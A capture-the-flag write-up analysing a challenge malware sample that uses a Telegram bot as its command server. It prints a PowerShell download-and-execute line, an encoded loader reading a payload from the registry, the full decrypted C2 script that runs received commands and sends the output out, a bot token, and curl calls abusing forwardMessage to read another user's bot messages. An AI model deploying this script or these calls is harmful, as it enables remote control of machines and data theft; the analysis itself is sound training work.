SiberSiaga 2023: Malbot
We found an APT malware running persistently in one of our staff's PC. After compromising, the malware makes a lot of communication with a C2.
TL;DR
The malware is using Telegram bot as a C2 server. Abuse the
forwardMessage
API to hijack conversation between the bot and it's owner.
Initial Analysis
We were given 2 files: .EXE
and .DLL
. Decompiling the executable file does not yield any positive result as it just calls the exported function from the .DLL
file, which displays a MessageBox.
void possible_main(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)
{
printf("This binary has been created specifically for the SiberSiaga 2023 CTF.\n",param_2,param_3,
param_4);
printf("This is a malware. Please run in a safe environment.\n",param_2,param_3,param_4);
printf("Proceed to run? Yes or no: ",param_2,param_3,param_4);
hModule = LoadLibraryW(L"MSVCR100.dll");
if (hModule != (HMODULE)0x0) {
pFVar5 = GetProcAddress(hModule,"function_101009");
FreeLibrary(hModule);
}
return;
}
Decompiling the .DLL
file reveals 2 exported function used by the executable.

The first function doesn't do much except for printing the SiberSiaga
title using MessageBoxW
API.
void function_101009(void)
{
FUN_180001ed0((undefined (*) [16])local_38,L"Ugnamog\"vm\"Qk`gpQkcec\"0201");
if (local_28 != 0) {
do {
pWVar1 = (LPCWSTR)((longlong)ppppuVar3 + uVar5 * 2);
*pWVar1 = *pWVar1 ^ 2;
uVar5 = uVar5 + 1;
} while (uVar5 < local_28);
}
FUN_180001ed0((undefined (*) [16])&local_58,L"PjafqPjbdb#1310");
if (local_48 != 0) {
do {
pWVar4 = (WCHAR *)CONCAT62(uStack_56,local_58);
pWVar4[uVar6] = pWVar4[uVar6] ^ 3;
uVar6 = uVar6 + 1;
} while (uVar6 < local_48);
}
MessageBoxW((HWND)0x0,(LPCWSTR)ppppuVar3,pWVar4,0x40);
function_101010();
FUN_180002030(local_18 ^ (ulonglong)auStack_78);
return;
}
The other function reveals 2 major PowerShell blocks.
void function_101010(void)
{
LVar2 = RegCreateKeyExW((HKEY)0xffffffff80000001,(LPCWSTR)ppppuVar3,0,(LPWSTR)0x0,0,0x20006,
(LPSECURITY_ATTRIBUTES)0x0,&local_268,(LPDWORD)0x0);
if (LVar2 != 0) {
FUN_1800011c0((undefined8 *)&local_100);
}
LVar2 = RegSetValueExW(local_268,(LPCWSTR)&local_e8,0,1,(BYTE *)puVar5,local_110 * 2);
if (LVar2 != 0) {
RegCloseKey(local_268);
}
RegCloseKey(local_268);
FUN_180001ed0((undefined (*) [16])&local_140,
L"powershell IEX (New-Object Net.WebClient).DownloadString(\'https://gist.githubuser content.com/fareedfauzi/de74bb93f6f9fb98038dac71ea8977e4/raw/8040d8274d0c8d9cb28e80d c4cab1b49d79c86d5/sibersiaga-ctf.ps1\')"
);
LVar2 = RegCreateKeyExW((HKEY)0xffffffff80000001,pWVar9,0,(LPWSTR)0x0,0,0x20006,
(LPSECURITY_ATTRIBUTES)0x0,&local_260,(LPDWORD)0x0);
LVar2 = RegSetValueExW(local_260,(LPCWSTR)&local_c0,0,1,(BYTE *)puVar5,local_130 * 2);
RegCloseKey(local_260);
FUN_180001ed0((undefined (*) [16])&local_1c0,L"WKBPSEVAXXGhewwawXX*wmfavwmece");
if (local_1b0 != 0) {
do {
pWVar4[uVar6] = pWVar4[uVar6] ^ 4;
uVar6 = uVar6 + 1;
} while (uVar6 < local_1b0);
}
FUN_180001ed0((undefined (*) [16])&local_220,L"wmfavwmecebmha");
if (local_210 != 0) {
do {
puVar5[uVar6] = puVar5[uVar6] ^ 4;
uVar6 = uVar6 + 1;
} while (uVar6 < local_210);
}
FUN_180001ed0((undefined (*) [16])&local_1e0,
L"VJCQRDW@YYFidvv`vYYvlg`wvldbdcli`YYvm`iiYYju`kYYfjhhdka");
if (local_1d0 != 0) {
do {
pWVar4[uVar6] = pWVar4[uVar6] ^ 5;
uVar6 = uVar6 + 1;
} while (uVar6 < local_1d0);
}
FUN_180001ed0((undefined (*) [16])&local_160,
L"powershell.exe -enc WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6AD oAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdA BdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIAAnAFIAZQBnAGkAcwB0AH IAeQA6ADoASABLAEUAWQBfAEMATABBAFMAUwBFAFMAXwBSAE8ATwBUAFwAcwBpAGIAZQByAHMAaQBhAGcAYQ BmAGkAbABlAFwAcwBoAGUAbABsAFwAbwBwAGUAbgBcAGMAbwBtAG0AYQBuAGQAJwAgAC0ATgBhAG0AZQAgAC cAcwBpAGIAZQByAHMAaQBhAGcAYQAnACkALgAnAHMAaQBiAGUAcgBzAGkAYQBnAGEAJwApAHwAJQAgAC0AQg BlAGcAaQBuAHsAJABpAD0AMAB9ACAALQBQAHIAbwBjAGUAcwBzAHsAJABfACAAPQAgACQAXwAgAC0AYgB4AG 8AcgAgACQAaQAlADIANQA2ADsAJABpACsAKwA7ACQAXwB9ACkAKQAgAHwAIABpAGUAeAA="
);
return;
}
Decoding PowerShell Scripts
The first PowerShell Script results in the following URL:
$batchScript = { whoami | Out-File -Append "$env:APPDATA\s.sibersiaga"; Start-Process "$env:APPDATA\s.sibersiaga"; Remove-Item "$env:APPDATA\s.sibersiaga"; Exit }; Get-ChildItem -Path "$env:SystemRoot\System32" -Filter "notepad.exe" -File | ForEach-Object { Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & {$batchScript}" -Wait }
Decoding the base64 strings from the second Powershell command.

It appears that the malware is performing XOR on a base64 encoded string retrieved from the registry.
[System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String((gp 'Registry::HKEY_CLASSES_ROOT\sibersiagafile\shell\open\command' -Name 'sibersiaga').'sibersiaga')|% -Begin{$i=0} -Process{$_ = $_ -bxor $i%256;$i++;$_})) | iex
We do not have to manually decrypt it as we can get the entire code by just running it in Powershell ISE
, but with the iex
cmdlet removed.
[System.Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3")
$token="6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78"
$id=467115391
$mid=(gp "HKCU:\Environment" -name Update).Update
$guid = (gp "HKCU:\Environment" -name guid).guid
$ip=irm "https://ifconfig.me/ip"
if( -not (New-Object System.Threading.Mutex($false, $guid)).WaitOne(1)){
exit
}
if($mid -and $guid){
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip reconnected!"
}
else {
$guid = [guid]::NewGuid().guid
Set-ItemProperty "HKCU:\Environment" -name "GUID" -value $guid
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip new connection!"
}
if($mid -isnot [int]){
$mid = 0
}
while(1){
Start-Sleep 60;
(irm -Uri "https://api.telegram.org/bot$($token)/getUpdates").result|%{
if ($mid -lt $_.update_id) {
$mid=$_.update_id;
$name,$task=$_.message.text -split " :: ";
if ( ($name -like $ip) -or ($name -like $env:COMPUTERNAME) -or ($name -like $guid) -or ($name -like "all")) {
$message = $($task | iex)2>&1 | Out-String;
if ("" -eq $message){
$message="Task Done!"
}
$b=0;
while ($b -lt $message.Length) {
$c = 4000;
if (($c + $b) -gt $message.Length){$c=$message.Length % 4000}
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip answer message : $($_.message.message_id)`n$($message.Substring($b,$c))"
$b+=$c
}
}
}
Set-ItemProperty "HKCU:\Environment" -name "Update" -value $mid
}
}
The decoded script reveals several Telegram Bot APIs, as well as the bot token. Putting everything together provides us the following API methods:
https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getUpdates
https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/sendMessage?chat_id=467115391&text=s.sibersiaga
https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getChat?chat_id=467115391
Exploring Exposed API Functions
getUpdates()
As described in the Telegram documentation, getUpdates
is used to receive incoming updates using an identifier offset
. Seeing this in action shows the message sent from DeezNutz
to the Telegram Bot:
┌──(kali💀JesusCries)-[~]
└─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getUpdates
{"ok":true,"result":[{"update_id":539091034,
"message":{"message_id":1302,"from":{"id":876720986,"is_bot":false,"first_name":"Deez","last_name":"Nutz","username":"lookatthesenutz","language_code":"en"},"chat":{"id":876720986,"first_name":"Deez","last_name":"Nutz","username":"lookatthesenutz","type":"private"},"date":1692545719,"text":"SiberSiaga"}}]}
Quoting the description for offset
parameter from Telegram API docs:
Identifier of the first update to be returned. Must be greater by one than the highest among the identifiers of previously received updates. By default, updates starting with the earliest unconfirmed update are returned. An update is considered confirmed as soon as getUpdates is called with an offset higher than its update_id. The negative offset can be specified to retrieve updates starting from -offset update from the end of the updates queue. All previous updates will be forgotten.
Possible Exploit Idea: By providing a negative offset, we might be able to leak previous conversations between the bot and other users. However, this requires us to fuzz the update_id
value in order to locate the conversation which contains the flag. As the current update_id
is a relatively large number, this would require 539+ million brute-forcing requests, not to mention that the API is rate-limited.
sendMessage()
A simple API to send messages to users on behalf of the bot. This sends the text "sibersiaga" to user DeezNutz
as the Telegram Bot.
┌──(kali💀JesusCries)-[~]
└─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/sendMessage?chat_id=876720986&text=sibersiaga
{"ok":true,"result":{"message_id":1303,"from":{"id":6420681879,"is_bot":true,"first_name":"sibersiaga_ctf_bot","username":"sibersiaga_ctf_bot"},"chat":{"id":876720986,"first_name":"Deez","last_name":"Nutz","username":"lookatthesenutz","type":"private"},"date":1692546521,"text":"sibersiaga"}}
Possible Exploit Idea: Send a custom command such as /flag
to an admin user to receive the flag? This would require us to have prior knowledge of the admin user's chat_id
in the first place.
getChat()
Getting some basic information about the user, such as first_name
and username
:
┌──(kali💀JesusCries)-[~]
└─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getChat?chat_id=467115391
{"ok":true,"result":{"id":467115391,"first_name":"fauzi","username":"scvhost_exe","type":"private","active_usernames":["scvhost_exe"],"has_private_forwards":true}}
Possible Exploit Idea: Probably none.
Abusing forwardMessage API
Browsing through the available API calls on Telegram documentation, there's one interesting API forwardMessage
that we can abuse to read old messages between the bot and another user.
https://core.telegram.org/bots/api#available-methods

This API requires 3 parameters, 2 of which are known to us: chat_id
(Recipient - Us) and from_chat_id
(Sender - Fareed).
After a bit of trial and error with the message_id
parameter, we can get the flag on the 12th message_id
:
┌──(kali💀JesusCries)-[~]
└─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/forwardMessage?chat_id=876720986&from_chat_id=467115391&message_id=12
DESKTOP-GA02OJQ :: echo "sibersiaga{now_y0u_kn0w_how_telegram_C2_works!}" > flag.txt
Flag: sibersiaga{now_y0u_kn0w_how_telegram_C2_works!}
Last updated